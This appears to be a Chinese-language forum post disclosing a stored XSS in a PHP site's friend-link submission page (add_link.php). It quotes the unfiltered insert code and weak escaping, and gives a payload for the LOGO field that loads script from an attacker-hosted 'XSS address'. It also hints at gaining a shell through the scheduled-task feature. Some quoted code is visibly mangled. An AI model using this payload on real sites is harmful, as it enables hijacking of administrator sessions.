这个XSS好像是从12年3.1开始就存在的吧,到现在的3.4还是没有修复。

漏洞页面:link/add_link.php
友情链接:LOGO处填写><script src=http://xss地址></script> //将<>进行16进制编码
add_link.php

$setsqlarr['link_name']=trim($_POST['link_name'])?trim($_POST['link_name']):showmsg('您没有填写标题!',1);
        $setsqlarr['link_url']=trim($_POST['link_url'])?trim($_POST['link_url']):showmsg('您没有填写链接地址!',1);
        $setsqlarr['link_logo']=trim($_POST['link_logo']);
        $setsqlarr['app_notes']=trim($_POST['app_notes']);
        $setsqlarr['alias']=trim($_POST['alias']);
        $setsqlarr['display']=2;
        $setsqlarr['type_id']=2;
        $link[0]['text'] = "返回网站首页";
        $link[0]['href'] =$_CFG['site_dir'];
        !inserttable(table('link'),$setsqlarr)?showmsg("添加失败!",0):showmsg("添加成功,请等待管理员审核!",2,$link);

定义数组变量,再看$_POST的定义include/common.inc.php

if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
[/pph]
function addslashes_deep()在include/common.fun.php
[php]
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        if (!get_magic_quotes_gpc())
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
        }
        else
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
        }
        return $value;
    }
}
function mystrip_tags($string)
{
    $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
    $string = strip_tags($string);
    $string = filter_keyword($string);
    return $string;
}
function filter_keyword($string)
{ 
    $keyword = 'select|insert|update|delete|/*|*|../|./|union|into|load_file|outfile'; 
    $arr = explode( '|', $keyword ); 
    $result = str_ireplace( $arr, '', $string ); 
    return $result; 
}

觉得这段转义过滤神马的好像是网上直接抄的-_-!
数据库插入数据在common.fun.php的179行

function inserttable($tablename, $insertsqlarr, $returnid=0, $replace = false, $silent=0) {
        global $db;
        $insertkeysql = $insertvaluesql = $comma = '';
        foreach ($insertsqlarr as $insert_key => $insert_value) {
                $insertkeysql .= $comma.'`'.$insert_key.'`';
                $insertvaluesql .= $comma.'''.$insert_value.''';
                $comma = ', ';
        }
        $method = $replace?'REPLACE':'INSERT';
        $state = $db->query($method." INTO $tablename ($insertkeysql) VALUES ($insertvaluesql)", $silent?'SILENT':'');
        if($returnid && !$replace) {
                return $db->insert_id();
        }else {
            return $state;
        } 
}

具体漏洞形成过程请大牛再分析分析,不敢说太多,我怕会说错,至于GETSHELL应该还是计划任务那里吧,年代久远,忘的七七八八了。
By:毒药